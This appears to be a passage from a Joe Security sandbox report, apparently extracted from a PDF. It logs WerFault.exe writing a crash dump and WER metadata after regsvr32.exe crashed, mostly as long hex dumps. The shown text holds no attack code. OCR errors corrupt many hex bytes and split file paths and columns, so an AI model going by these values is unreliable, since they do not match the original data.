Analysis Process: WerFault.exe PID: 3912 Parent PID: 5132
General
Start time: 13:32:57
Start date: 12/05/2021
Path: C:\Windows\SysWOW64\WerFault.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Path

Copyright Joe Security LLC 2021

true

C:\Windows\SysWOW64\WerFault.exe -u -p 5132 -s 652
0xfc0000

434592 bytes
9E2BBACAD48ECCA55C0230D63623661B

true

true

C, C++ or other language

high

Attributes Options Completion

Source
Count Address Symbol
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Source

File Path Access Attributes Options Completion Count Address Symbol
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\DBG read data or list device directory file | success or wait 1 6EF21717 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4CBF.tmp read attributes | device synchronous io  success or wait 1 6EF1497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4CBF.tmp.dmp read attributes | device synchronous io  success or wait 1 6EF1497A unknown
synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\Temp\WERS54FD.tmp read attributes | device synchronous io  success or wait 1 6EF1497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WER54FD.tmp.WERInt read attributes | device synchronous io  success or wait 1 6EF1497A unknown
ernalMetadata.xml synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\Temp\WER58B7.tmp read attributes | device synchronous io  success or wait 1 6EF1497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WER58B7.tmp.xml read attributes | device synchronous io  success or wait 1 6EF1497A unknown
synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_re read data or list device directory file | success or wait 1 6EF1497A unknown
gsvr32.exe_68e15ffc7f9f5ac199eaf956335a58761f4230_7a325c51_0f165c5f directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_re read attributes | device synchronous io  success or wait 1 6EF1497A unknown
gsvr32.exe_68e15ffc7f9f5ac199eaf956335a58761f4230_7a325c51_0 synchronize | non alert | non
f165c5f\Report.wer generic write directory file
File Deleted
Source
File Path Completion Count Address Symbol
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4CBF.tmp success or wait 1 6EF1497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERS54FD.tmp success or wait 1 6EF1497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER58B7.tmp success or wait 1 6EF1497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4CBF.tmp.dmp success or wait 1 6EF1497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml success or wait 1 6EF1497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER58B7.tmp.xml success or wait 1 6EF1497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER58B5.tmp.csv success or wait 1 6EF1497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER5BD3.tmp.txt success or wait 1 6EF1497A unknown
File Written
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 32 4d 44 4d 5093 a7 ee  MDMP........ .......... R success or wait 1 6EF1497A unknown
ws\WER\Temp\WER4CBF.tmp.dmp a0 Oe 00 00 00 20 00
00 00 00 00 00 00 ee
bc 9b 60 a4 05 12 00
00 00 00 00
C:\ProgramData\Microsoft\Windo unknown 6 000000000000 ... success or wait 1 6EF1497A unknown

ws\WER\Temp\WER4CBF.tmp.dmp
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4CBF.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4CBF.tmp.dmp

Copyright Joe Security LLC 2021

Offset Length Value

unknown 1420

unknown 716

00 00 06 00 07 55 04
01 0a 00 00 00 00 00
00 00 ee 42 00 00 02
00 00 00 a4 1a 00 00
00 01 00 00 47 65 6e
75 69 6e 65 49 6e 74

Ascii
..... Uioeee B
..GenuinelntelWw........... T...

.E.ur.o.p.e. .Standar

.T.i.m.e..

656c57060500fffh ...

8b 1f 00 00 00 00 54 E.u.r.o.p.e..D.a.y.li.g.h.t.

05 00 00 7 03 00 00
Oc 14 00 00 e7 bc 9b
60 00 00 00 00 00 00
00 00 93 08 00 00 93
08 00 00 93 08 00 00
01 00 00 00 01 00 00
00 00 40 00 00 31 00
00 00 00 00 00 00 02
00 00 00 c4 ff ff ff 57
00 2e 00 20 00 45 00
7500 72 00 6f 00 70
00 65 00 20 00 53 00
74 00 61 00 6e 00 64
00 61 00 72 00 64 00
20 00 54 00 69 00 6d
00 65 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 0a 00 00 00 05
00 03 00 00 00 00 00
00 00 00 00 00 00 57
00 2e 00 20 00 45 00
7500 72 00 6f 00 70
00 65 00 20 00 44 00
61 00 79 00 6¢ 00 69
00 67 00 68 00 74 00
20 00 54 00 69 00 6d
00 65 00 00 00 00 00
00

7f 00 01 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
2b 00 00 00 53 00 00
00 2b 00 00 00 2b 00
00 00 ee 6b 00 10 50
e4 e7 00 00 00 00 00
ff ff ff ff ee 6b 00 10 00
00 00 00 5¢c e4 e7 00
ee 6b 00 10 23 00 00
00 46 02 01 00 40 e4
€7 00 2b 00 00 00 aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa

T.im.e....

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

6EF1497A unknown

6EF1497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4CBF.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4CBF.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4CBF.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4CBF.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4CBF.tmp.dmp

Copyright Joe Security LLC 2021

Offset Length Value

unknown 168

unknown 20

unknown 10652

unknown 4

unknown 4

34040000000000 4.......cccveuennnene K....

00 05 00 00 c0 00 00
00 00 00 00 00 00 00
00 00 00 ee 6b 00 10
00 00 00 00 02 00 00
00 00 00 00 00 01 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 cc
02 00 00 34 1f 00 00

0a 00 00 00 64 d6 e7
00 00 00 00 00 9c 29
00 00 70 25 00 00

bc 9a 11 77 f2 1d 16

77 aa aa aa aa 98 d6
e7 00 aa aa aa aa aa
aa aa aa 00 00 00 00
00 00 00 00 ec db e7
00 00 00 00 00 88 02
00 00 00 00 00 00 00
00 00 00 88 02 00 00
b0 02 00 00 30 d7 e7
00 aa aa aa aa 30 d7
€700 12 12 16 77 b0
02 00 00 00 00 00 00
aa aa aa aa 94 d7 e7
00 00 00 00 00 00 00
00 00 aa aa aa aa 00
00 00 00 00 00 00 00
00 00 00 00 aa aa aa
aa 20 d9 e7 00 dO d8
e7 00 b0 02 00 00 00
00 1d 01 04 00 00 00
8c 02 00 00 94 02 00
00 90 02 00 00 88 02
00 00 00 00 00 00 88
02 00 00 8c 02 00 00
90 02 00 00 94 02 00
00 aa aa aa aa b8 d6
e7 00 aa aa aa aa e4
d7 e700f0 17 12 77

aa aa aa aa 00 00 00
00 4c d7 e7 00 91 Oc
16 77 aa aa aa aa 00
00 00 00 aa aa aa aa
00 00 00 00 00 00 00
0030 e5e7 00 3d ac
15 77 d0 d8 e7 00 20
d9 e7 00 aa aa aa aa
00 00 00

ac 7b 1c 77

01 00 00 00

Ascii

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

10

g

1

1

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

Page 42 of 87



File Path Offset

C:\ProgramData\Microsoft\Windo unknown 716

ws\WER\Temp\WER4CBF.tmp.dmp

C:\ProgramData\Microsoft\Windo unknown 48
ws\WER\Temp\WER4CBF.tmp.dmp
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WER4CBF.tmp.dmp
C:\ProgramData\Microsoft\Windo unknown 30

ws\WER\Temp\WER4CBF.tmp.dmp

Copyright Joe Security LLC 2021

Length Value

3f 00 01 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
aa aaaaaaaaaaaa
aa aa aa aa aaaaaa
aa aa aaaaaaaaaa
aaaaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aa aa aaaaaaaa
aa aa aaaaaaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aaaaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aaaaaaaa
aa aa aa aaaaaaaa
aaaaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
2b 00 00 00 53 00 00
00 2b 00 00 00 2b 00
00 00 aa aa aa aa 00
00 00 00 00 00 00 00
aa aa aa aa ee 6b 00
10 00 00 00 00 a8 d6
€700 bc 9a 1177 23
00 00 00 02 02 00 00
68 d6 e7 00 2b 00 00
00 aa aa aa aa aa aa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aaaaaa

34 04 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 a0 ce 00 00
00 00 00 64 d6 e7 00
00 00 00 00 9c 29 00
00 70 25 00 00 cc 02
00 00 00 22 00 00

28 00 00 00

18 00 00 00 72 00 65
00 67 00 73 00 76 00
7200 3300 3200 2e
00 65 00 78 00 65 00
00 00

...re.g.s.wv.r3.2..ex.e..

Completion

success or wait

success or wait

success or wait

success or wait

Count Address

1

1

40

40

Source
Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4CBF.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4CBF.tmp.dmp

Copyright Joe Security LLC 2021

Offset Length Value

unknown 752

unknown 9474

00 00 00 10 00 00 00
00 00 e0 05 00 00 00
00 00 b2 63 8d 60 1a
1f 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 01 00 Of 00
5a 62 02 00 00 10 00
00 fb fe 0f 00 01 00 00
00 ff ff 13 00 00 00 01
00 00 00 01 00 00 00
00 00 ff ff fe 7f 00 00
00 00 0f 00 00 00 00
00 00 00 04 00 00 00
00 50 ab 02 00 00 00
00 00 a0 f0 02 00 00
00 00 dd 5f 01 00 00
01 00 00 00 00 00 00
ff ff ff ff 00 00 00 00 32
8f 03 00 00 00 00 00
9a 97 03 00 00 00 00
00 00 00 00 00 00 00
00 00 el b3 1a 00 00
00 00 00 5f 4b 05 00
00 00 00 00 40 ff 1f 00
00 00 00 00 93 76 05
00 00 00 00

0a 00 00 00 45 00 76
00 65 00 6e 00 74 00
00 00 00 00 00 00 06
00 00 00 08 00 00 00
01 00 00 00 00 00 00
00 28 00 00 00 57 00
61 00 69 00 74 00 43
00 6f 00 6d 00 70 00
6¢ 00 65 00 74 00 69
00 6f 00 6e 00 50 00
61 00 63 00 6b 00 65
00 74 00 00 00 18 00
00 00 49 00 6f 00 43
00 6f 00 6d 00 70 00
6¢ 00 65 00 74 00 69
00 6f 00 6e 00 00 00
1e 00 00 00 54 00 70
00 57 00 6f 00 72 00
6b 00 65 00 72 00 46
00 61 00 63 00 74 00
6f 00 72 00 79 00 00
00 Oe 00 00 00 49 00
52 00 54 00 69 00 6d
00 65 00 72 00 00 00
28 00 00 00 57 00 61
00 69 00 74 00 43 00
6f 00 6d 00 70 00 6¢
00 65 00 74 00 69 00
6f 00 6e 00 50 00 61
00 63 00 6b 00 65 00
74 00 00 00 Oe 00 00
00 49 00 52 00 54 00
69 00 6d 00 65 00 72
00 00 00 28 00 00 00
57 00 61 00 69 00 74
00 43 00 6f 00 6d 00
7000 6¢

LGEvento
(...W.a.i.t.C.o.m.p.l.e.
tio.n.P.a.cke.t....lLo.
C.o.m.p.l.e.ti.o.n.....T.p.
W.o.rk.er.Fa.cto.ry...
LLR.Timee.r..(..W.a.it.

C.o.m.p.l.e.ti.o.n.P.a.ck.e.

te..LRT.iim.e.r..(.W.
a.i.t.C.o.m.p.l

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

6EF1497A unknown

6EF1497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 108 03000000340000 ...4.ccceeuenen LS success or wait 1 6EF1497A unknown
ws\WER\Temp\WER4CBF.tmp.dmp 00 fc 06 00 00 04 00

00 00 e4 10 00 00 3c o
07000005000000 ...............
a4 00 00 00 cc 24 00

00 06 00 00 00 a8 00

00 00 54 06 00 00 07

00 00 00 38 00 00 00

¢8 00 00 00 Of 00 00

00 54 05 00 00 00 01

00 00 Oc 00 00 00 00

1a 00 00 ba 70 00 00

15 00 00 00 ec 01 00

0020 18 00 00 16 00

00 00 98 00 00 00 Oc

1a 00 00
C:\ProgramData\Microsoft\Windo unknown 2 ff fe . success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 78 3c003f0078006d <.?2.x.m.l .v.e.rs.io.n="  success orwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 006c 0020007600 1..0.". .e.n.c.0.d.i.n.g.=.".

65007200730069 U.T.F.-.1.6.".2.>.

00 6f 00 6e 00 3d 00

22003100 2e 00 30
00 22 00 20 00 65 00
6e 00 63 00 6f 00 64
00 69 00 6e 00 67 00
3d 00 22 00 55 00 54
00 46 00 2d 00 31 00
36 00 22 00 3f 00 3e

00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 38 3c005700450052 <.W.E.R.R.e.p.o.r.t.M.e.t.a. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00520065007000 d.ata.>.

6f 00 72 00 74 00 4d
00 65 00 74 00 61 00
64 00 61 00 74 00 61

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 44 3c004f00530056 <.0.S.V.ers..o.n.l.nfo.r. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00650072007300 m.a.t.i.o.n.>.

69 00 6f 00 6e 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 82 3c 0057006900 6e <.W.i.n.d.o.w.s.N.T.V.e.r.s. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00 64 00 600 77 00  i.0.n.>.1.0...0.

73004e 00540056 <./W.i.n.d.o.w.
00650072007300 s.N.T.V.ers.io.n>.
69 00 6f 00 6e 00 3e

00 31 00 30 00 2e 00

30 00 3c 00 2f 00 57

00 69 00 6e 00 64 00

6f 00 77 00 73 00 4e

00 54 00 56 00 65 00

7200 73 00 69 00 6f

00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 40 3c004200750069 <.B.u.i.l.d>.1.7.1.3.4.<./.B. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00 6¢ 00 64 00 3e 00  u.i.l.d.>.

31003700 310033
00 34 00 3c 00 2f 00
4200 75 00 69 00 6¢
00 64 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

Copyright Joe Security LLC 2021 Page 45 of 87



File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

Copyright Joe Security LLC 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length
82

4

2

62

4

2

134

44

4

2

Value

3c 00 50 00 72 00 6f
00 64 00 75 00 63 00
74 00 3e 00 28 00 30
00 78 00 33 00 30 00
29 00 3a 00 20 00 57
00 69 00 6e 00 64 00
6f 00 77 00 73 00 20
00 31 00 30 00 20 00
50 00 72 00 6f 00 3¢
00 2f 00 50 00 72 00
6f 00 64 00 75 00 63
00 74 00 3e 00

0d 00 0a 00

09 00

3c 00 45 00 64 00 69
00 74 00 69 00 6f 00
6e 00 3e 00 50 00 72
00 6f 00 66 00 65 00
7300 73 00 69 00 6f
00 6e 00 61 00 6¢ 00
3c 00 2f 00 45 00 64
00 69 00 74 00 69 00
6f 00 6e 00 3e 00

0d 00 0a 00

09 00

3c 0042 00 75 00 69
00 6¢ 00 64 00 53 00
74 00 72 00 69 00 6e
00 67 00 3e 00 31 00
37 0031003300 34
00 2e 00 31 00 2e 00
61 00 6d 00 64 00 36
00 34 00 66 00 72 00
6500 2e 00 72 00 73
00 34 00 5f 00 72 00
65 00 6¢ 00 65 00 61
00 73 00 65 00 2e 00
31 00 38 00 30 00 34
00 31 00 30 00 2d 00
31 00 38 00 30 00 34
00 3c 00 2f 00 42 00
7500 69 00 6¢ 00 64
0053 00 74 00 72 00
69 00 6e 00 67 00 3e
00

0d 00 0a 00

09 00

3c 00 52 00 65 00 76
00 69 00 73 00 69 00
6f 00 6e 00 3e 00 31
00 3c 00 2f 00 52 00
65 00 76 00 69 00 73
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 46 00 6¢ 00 61
00 76 00 6f 00 72 00
3e 00 4d 00 75 00 6¢
00 74 00 69 00 70 00
72 00 6f 00 63 00 65
00 73 00 73 00 6f 00
72002000 46 00 72
00 65 00 65 00 3c 00
2f 00 46 00 6¢ 00 61
00 76 00 6f 00 72 00
3e 00

0d 00 0a 00

09 00

Ascii
<.P.r.o.d.u.c.t.>.(.0.x.3.0.).

.. .W.in.d.o.w.s. .1.0. .P.r.
0.<./P.ro.d.u.c.t>.

<.E.d.iti.o.n.>.P.ro.fe.s.
s..o.n.al.</E.d.i.tio.n.>.

<.B.u.ild.S.trin.g.>.1.7.
1.34..1.am.d.6.4fre..
rs.4._rele.as.e..1.8.0.
4.1.0.-.1.8.0.4.<./.B.u.i.l.d.
S.trin.g.>.

<.R.e.w.is.ion>1l</R.e.

v.i.s.i.o.n>.

<.F.lLav.o.r.>.M.u.l.tip.r.
o.c.e.s.s.o.r. .F.re.e</F.
l.a.v.o.r>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Address

1

1

2

Source
Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 64 3c004100720063 <.Ar.c.h.ite.cture>X. successorwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 0068 0069007400 6.4.<./Ar.ch.ite.ctu.r.

65006300740075 e.>.
00 72 00 65 00 3e 00
58 00 36 00 34 00 3¢
00 2f 00 41 00 72 00
63 00 68 00 69 00 74
00 65 00 63 00 74 00
7500 72 00 65 00 3e

00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 34 3c004c00430049 <.L.C..D.>.1.0.3.3. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00440032 003100 <./L.C..D.>.

30 00 33 00 33 00 3c
00 2f 00 4c 00 43 00
49 00 44 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 46 3c 00 2f 00 4f 00 53 <./.0.S.V.ers..o.n.l.nfo. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 0056 0065007200 r.m.a.t.i.o.n.>.

7300 69 00 6f 00 6e
00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00

6e 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40 3c 0050007200 6f <.P.r.o.c.e.s.s.l.nfo.rm.a. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 0063 0065007300 ti.o.n.>.

73 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 30 3c 005000690064 <.P.i.d.>5.1.3.2.</.P.i.d.> success orwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00 3e 00 35 00 31 00

3300 32 00 3c 00 2f
00 50 00 69 00 64 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 70 3c0049006d 0061 <..m.a.g.e.N.a.m.e.>.r.e.g. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 0067 0065 004e 00 s.v.r.3.2..e.x.e.

61 00 6d 00 65 00 3e <./l.m.a.g.e.N.am.e.>.
00 72 00 65 00 67 00
7300 76 00 72 00 33
00 32 00 2e 00 65 00
78 00 65 00 3c 00 2f
00 49 00 6d 00 61 00
67 00 65 00 4e 00 61
00 6d 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 90 3c0043006d0064 <.C.m.d.L.i.n.e.S..g.n.a.t.u success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00 4c 00 69 00 6e 00 .r.e.>.0.0.0.0.0.0.0.0.

65 005300690067 <./.C.m.
006e 0061007400 d.L.i.ne.S.ig.n.ature.>.
7500 72 00 65 00 3e

00 30 00 30 00 30 00

30 00 30 00 30 00 30

00 30 00 3c 00 2f 00

43 00 6d 00 64 00 4c

00 69 00 6e 00 65 00

53 00 69 00 67 00 6e

00 61 00 74 00 75 00

72 00 65 00 3e 00
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

